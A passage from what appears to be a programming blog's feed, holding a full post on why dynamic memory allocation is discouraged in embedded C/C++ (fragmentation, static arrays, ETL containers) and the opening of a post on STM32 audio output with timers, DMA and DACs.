&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>ctf</category>
        
          <category>types</category>
        
          <category>python</category>
        
          <category>tutorial</category>
        
          <category>reverse</category>
        
          <category>programming-languages</category>
        
          <category>metaprogramming</category>
        
          <category>oop</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Why Dynamic Memory Allocation Bad (for Embedded)</title>
        <description>If you need flexibility and can afford it, use dynamic memory. If you can’t afford it, use static.</description>
        <link href="https://trebledj.me/posts/dynamic-memory-embedded-bad/"/>
        <updated>2023-06-24T00:00:00Z</updated>
        <id>https://trebledj.me/posts/dynamic-memory-embedded-bad/</id>
        <content xml:lang="en" type="html">&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&#39;Memory management is not my concern.&#39; - Clueless Embedded Engineers.&quot; href=&quot;https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-1-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-1-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 560&quot; alt=&quot;&#39;Memory management is not my concern.&#39; - Clueless Embedded Engineers.&quot; title=&quot;&#39;Memory management is not my concern.&#39; - Clueless Embedded Engineers.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-1-256w.webp 256w, https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-1-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Getting better hardware is not always the solution. Sometimes; but not always. Don&#39;t be clueless.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;I keep explaining why dynamically allocating on embedded systems is a disagreeable idea, so thought I’d throw it on a post. This is a confusing topic for many junior developers who were taught to use &lt;code&gt;new&lt;/code&gt; and &lt;code&gt;delete&lt;/code&gt; in early C++ courses. In desktop/web application programming, dynamic allocation is everywhere.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Not so in embedded.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;To clarify, dynamic memory allocation (in embedded) isn&#39;t &lt;em&gt;always&lt;/em&gt; bad, just as &lt;a href=&quot;https://stackoverflow.com/a/3517765/10239789&quot;&gt;&lt;code&gt;goto&lt;/code&gt; isn&#39;t &lt;em&gt;always&lt;/em&gt; bad&lt;/a&gt;. Both dynamic allocation and &lt;code&gt;goto&lt;/code&gt; have appropriate uses, but are often misused. As engineers, it&#39;s our duty to understand which situations call for these features and to make sound choices.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Ooooh, dynamic memory—fancy!&quot; href=&quot;https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-2-687w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-2-687w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 687 / 500&quot; alt=&quot;Ooooh, dynamic memory—fancy!&quot; title=&quot;Ooooh, dynamic memory—fancy!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-2-256w.webp 256w, https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-2-512w.webp 512w, https://trebledj.me/img/posts/programming/embedded/assets/dynamic-memory-2-687w.webp 687w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 687px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Clueless software engineers thinking &amp;quot;the more advanced the concept, the better&amp;quot;. Don&#39;t be clueless.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Not only is allocation an issue. Virtual classes, exceptions, runtime type information (RTTI)—these are all no-nos for some embedded companies. They&#39;re all avoided for the same reasons: performance degradation and code bloat. In essence, not enough time and not enough space. With dynamic memory, there&#39;s another reason.&lt;/p&gt;
&lt;h2 id=&quot;so-why-is-dynamic-memory-bad&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#so-why-is-dynamic-memory-bad&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; So why is dynamic memory bad?&lt;/h2&gt;
&lt;p&gt;Because of &lt;strong&gt;Memory Fragmentation&lt;/strong&gt;. This occurs when we keep allocating and deallocating memory in various sizes. This may lead to wasted memory, leading to slower allocations (due to the need to reallocate and compact memory) or our worst nightmare: an out-of-memory exception. 🤯&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Memory is fragmented, like buildings with alleys in between, where rats and other vermin fester.&quot; href=&quot;https://trebledj.me/img/posts/programming/embedded/assets/memory-fragmentation-976w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/embedded/assets/memory-fragmentation-976w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 976 / 376&quot; alt=&quot;Memory is fragmented, like buildings with alleys in between, where rats and other vermin fester.&quot; title=&quot;Memory is fragmented, like buildings with alleys in between, where rats and other vermin fester.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/embedded/assets/memory-fragmentation-256w.webp 256w, https://trebledj.me/img/posts/programming/embedded/assets/memory-fragmentation-512w.webp 512w, https://trebledj.me/img/posts/programming/embedded/assets/memory-fragmentation-976w.webp 976w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 976px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Memory becomes fragmented after multiple allocs and deallocs, leading to wasted memory space. (&lt;a href=&quot;https://er.yuvayana.org/memory-fragmentation-in-operating-system/&quot;&gt;source&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Since embedded systems tend to require sustained uptime, constantly using dynamic memory may lead to highly fragmented memory.&lt;/p&gt;
&lt;p&gt;This is a serious issue. Persistence, backup, and resets should be considered when developing embedded applications, but buggy resets—say, due to &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;out-of-memory&quot;&gt;OOM&lt;/abbr&gt; crashes—should be avoided. Maybe not an issue if you&#39;re working with &lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20180228-00/?p=98125&quot;&gt;missiles&lt;/a&gt; though.&lt;/p&gt;
&lt;h2 id=&quot;what-alternatives-are-there&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#what-alternatives-are-there&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; What alternatives are there?&lt;/h2&gt;
&lt;p&gt;In C, dynamic allocation is largely optional; you, the programmer, have more control over memory usage.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;In C++, it&#39;s more of a hassle. Dynamic memory allocation is core to many standard library containers: strings, vectors, maps. The Arduino &lt;code&gt;String&lt;/code&gt; also uses dynamic memory. No doubt, these libraries are immensely useful for organising and manipulating data, but they come with dynamic allocation.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;The alternative is to use &lt;strong&gt;static allocation&lt;/strong&gt;. Instead of allowing containers to grow unbounded, we limit their size with a &lt;em&gt;maximum bound&lt;/em&gt;. Sometimes, it&#39;s as simple as changing array declarations.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// --- Dynamic ---&lt;/span&gt;

size_t size &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; array1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;size&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// `size` is dynamic. e.g. can change with input.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Note that we can also resize the array and reassign the pointer.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Use the array...&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; size&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    array1&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; array1&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;


&lt;span class=&quot;token comment&quot;&gt;// --- Static ---&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Define a maximum capacity...&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;MAX_SIZE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;                &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;// ...with a macro,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// constexpr size_t MAX_SIZE = 100; // ...or use C++&#39;s type-safe constexpr.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; array2&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MAX_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Use the array... (be careful to use `size` instead of `MAX_SIZE`).&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; size&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    array2&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;With complex data structures, more work is needed to eliminate dynamic allocation. This is what ETL containers achieve, as opposed to STL containers.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/ETLCPP/etl&quot;&gt;ETL&lt;/a&gt; (Embedded Template Library) is an alternative to the C++ standard library, and contains many standard features plus libraries useful for embedded systems programming (e.g. circular buffers).&lt;/p&gt;
&lt;p&gt;Here&#39;s a quick preview with vectors:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// STL&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Allocate a dynamic vector (on the heap). Capacity grows on-demand.&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;vector&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; vec1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ETL&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Allocate a static vector (on the stack) with fixed capacity.&lt;/span&gt;
etl&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;vector&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; vec2 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;One benefit of static allocation is &lt;em&gt;speed&lt;/em&gt;. With dynamic, allocators need to figure out size constraints and reallocate. If the allocator is good, it may perform better by using smart strategies (e.g. reusing a previously freed bin); but this still introduces overhead. With &lt;em&gt;static&lt;/em&gt;, memory is either pre-allocated (in the case of global variables) or quickly allocated with a single instruction (subtracting the stack pointer).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; Hence, better performance at the expense of flexibility.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;What about polymorphism? Like dynamic memory allocation, &lt;em&gt;dynamic polymorphism&lt;/em&gt; also introduces performance overhead via additional indirection (dynamic dispatch, vtable lookup).&lt;/p&gt;
&lt;p&gt;The good news is: &lt;em&gt;static polymorphism&lt;/em&gt; exists! In C++, we can achieve this via &lt;a href=&quot;https://en.wikipedia.org/wiki/Curiously_recurring_template_pattern#Static_polymorphism&quot;&gt;CRTP&lt;/a&gt;; but we lose the ability to declare polymorphic containers, such as&lt;code&gt;vector&amp;lt;Animal*&amp;gt;&lt;/code&gt;, &lt;code&gt;vector&amp;lt;Shape*&amp;gt;&lt;/code&gt;. We could also use sum types (e.g. &lt;a href=&quot;https://en.cppreference.com/w/cpp/utility/variant&quot;&gt;&lt;code&gt;std::variant&lt;/code&gt;&lt;/a&gt;); but this would increase memory footprint. Sometimes virtual classes are a necessary &lt;s&gt;evil&lt;/s&gt; abstraction.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Thus, it’s crucial to consider the design requirements of the software being developed. How long do the strings need to be? Can they be limited by a maximum length? How many items will our vector hold at most? Is it more maintainable to use virtual classes here?&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;is-dynamic-memory-always-bad&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#is-dynamic-memory-always-bad&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Is dynamic memory always bad?&lt;/h2&gt;
&lt;p&gt;Dynamic memory isn&#39;t bad in all cases, if used properly. Some appropriate situations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You only allocate during init. For example, we allocate memory based on a setting from an SSD card.&lt;/li&gt;
&lt;li&gt;It&#39;s difficult to decide on a maximum bound at compile time. It&#39;s easy to cap small strings at 32, 64, or 256 chars. But what about HTTP requests? JSON payloads? These vary a lot between applications, so libraries typically default to dynamic allocation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are &lt;a href=&quot;https://en.wikipedia.org/wiki/Memory_management&quot;&gt;various ways to implement dynamic memory allocation&lt;/a&gt;. The &amp;quot;best&amp;quot; method depends on your specific scenario. &lt;a href=&quot;https://en.wikipedia.org/wiki/Memory_pool&quot;&gt;Memory pools&lt;/a&gt; are one implementation admired for their simplicity and lightweight nature. FreeRTOS documents other &lt;a href=&quot;https://www.freertos.org/a00111.html&quot;&gt;heap implementations&lt;/a&gt; which aim to be thread-safe. &lt;a href=&quot;https://www.freertos.org/a00111.html#heap_4&quot;&gt;Heap 4&lt;/a&gt; is of particular interest, as it mitigates fragmentation.&lt;/p&gt;
&lt;h2 id=&quot;summary&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#summary&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Summary&lt;/h2&gt;
&lt;p&gt;In a recent discussion between Uncle Bob and Casey Muratori on clean code and performance, Bob summarises:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Switch statements have their place. Dynamic polymorphism has its place. &lt;strong&gt;Dynamic things are more flexible than static things, so when you want that flexibility, and you can afford it, go dynamic. If you can&#39;t afford it, stay static.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;https://github.com/unclebob/cmuratori-discussion/blob/main/programmer-cycles-vs-machine-cycles.md&quot;&gt;source&lt;/a&gt;; emphasis added)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;This applies to embedded system memory as well. It’s difficult to afford dynamic things with few resources. With more powerful MCUs, it’s easier to justify dynamic things, be it heap, polymorphism, and whatnot. In the end, we should take into account the available resources, design requirements, and use cases. Let me summarise again.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you &lt;strong&gt;need&lt;/strong&gt; flexibility and can afford it, use dynamic memory. If you can’t afford it (as is often the case), use static.&lt;/em&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fn6&quot; id=&quot;fnref6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Even if you don’t use it directly, it’s still there. Most garbage-collected languages (think Java, JS, Python) will allocate primitives on the stack, and all other objects on a heap. &lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Also, the C standard library rarely depends on dynamic allocation; except maybe for file IO. &lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Sure, &lt;code&gt;std&lt;/code&gt; containers allow custom allocators, and that can be a topic for an entire series of posts... but it also means additional indirection, whether at compile-time or runtime. &lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;And if your function uses multiple statically-allocated variables, the allocation will be combined into one &lt;em&gt;giant&lt;/em&gt; stack subtraction. You can thank your compiler for this. &lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;What&#39;s the right balance of maintainability? Is it worth sacrificing maintainability for performance? &lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;The distinction between &lt;em&gt;want&lt;/em&gt; and &lt;em&gt;need&lt;/em&gt; is small, but IMO important when programming for embedded systems. Sometimes, we may &lt;em&gt;want&lt;/em&gt; to use the heap, but it&#39;s not needed. Very rarely, we may &lt;em&gt;need&lt;/em&gt; the flexibility of the heap since the benefits outweigh the costs. &lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>embedded</category>
        
          <category>c</category>
        
          <category>cpp</category>
        
          <category>tutorial</category>
        
          <category>software-engineering</category>
        
          <category>performance</category>
        
          <category>notes</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Digital Audio Synthesis for Dummies: Part 3</title>
        <description>Efficiently streaming audio to speakers on embedded systems (with examples in STM32).</description>
        <link href="https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/"/>
        <updated>2023-05-24T00:00:00Z</updated>
        <id>https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/</id>
        <content xml:lang="en" type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Slap a timer, DMA, and DAC together, and BAM—non-blocking audio output!&lt;/em&gt;&lt;br /&gt;
— TrebledJ, &lt;a href=&quot;https://trebledj.me/posts/stm32-midi-keyboard/&quot;&gt;2022&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ah… embedded systems—the intersection of robust hardware and versatile software.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Most embedded audio applications employ timers, DMA, and double buffering for great good!&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/round-table-500w.webp&quot;&gt;&lt;img class=&quot;rw float-right m-1 jw-40&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/round-table-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 604&quot; alt=&quot;Most embedded audio applications employ timers, DMA, and double buffering for great good!&quot; title=&quot;Most embedded audio applications employ timers, DMA, and double buffering for great good!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/round-table-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/round-table-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is the third (and culminating) post in a series on &lt;a href=&quot;https://trebledj.me/tags/audio-synthesis-for-dummies/&quot;&gt;digital audio synthesis&lt;/a&gt;; but the first (and only?) post touching embedded hardware. In the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1&quot;&gt;first post&lt;/a&gt;, we introduced basic concepts on audio processing. In the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2&quot;&gt;second post&lt;/a&gt;, we dived into audio synthesis and generation. In this post, we’ll discover how to effectively implement an audio synthesiser and player on an embedded device by marrying hardware (timers, &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Digital-to-Analogue Converters; explained later!&quot;&gt;DACs&lt;/abbr&gt;, &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Direct Memory Access; explained later!&quot;&gt;DMA&lt;/abbr&gt;) and software (double buffering plus other optimisations).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;To understand these concepts even better, we’ll look at examples on an &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;A family of 32-bit microcontrollers.&quot;&gt;STM32&lt;/abbr&gt;. These examples are inspired from a &lt;a href=&quot;https://trebledj.me/posts/stm32-midi-keyboard&quot;&gt;MIDI keyboard project&lt;/a&gt; I previously worked on.
I&#39;ll be using an STM32F405RGT board in the examples. If you plan to follow along with your own board, make sure it&#39;s capable of timer-triggered DMA and DAC. An oscilloscope would also be handy for checking DAC output.&lt;/p&gt;
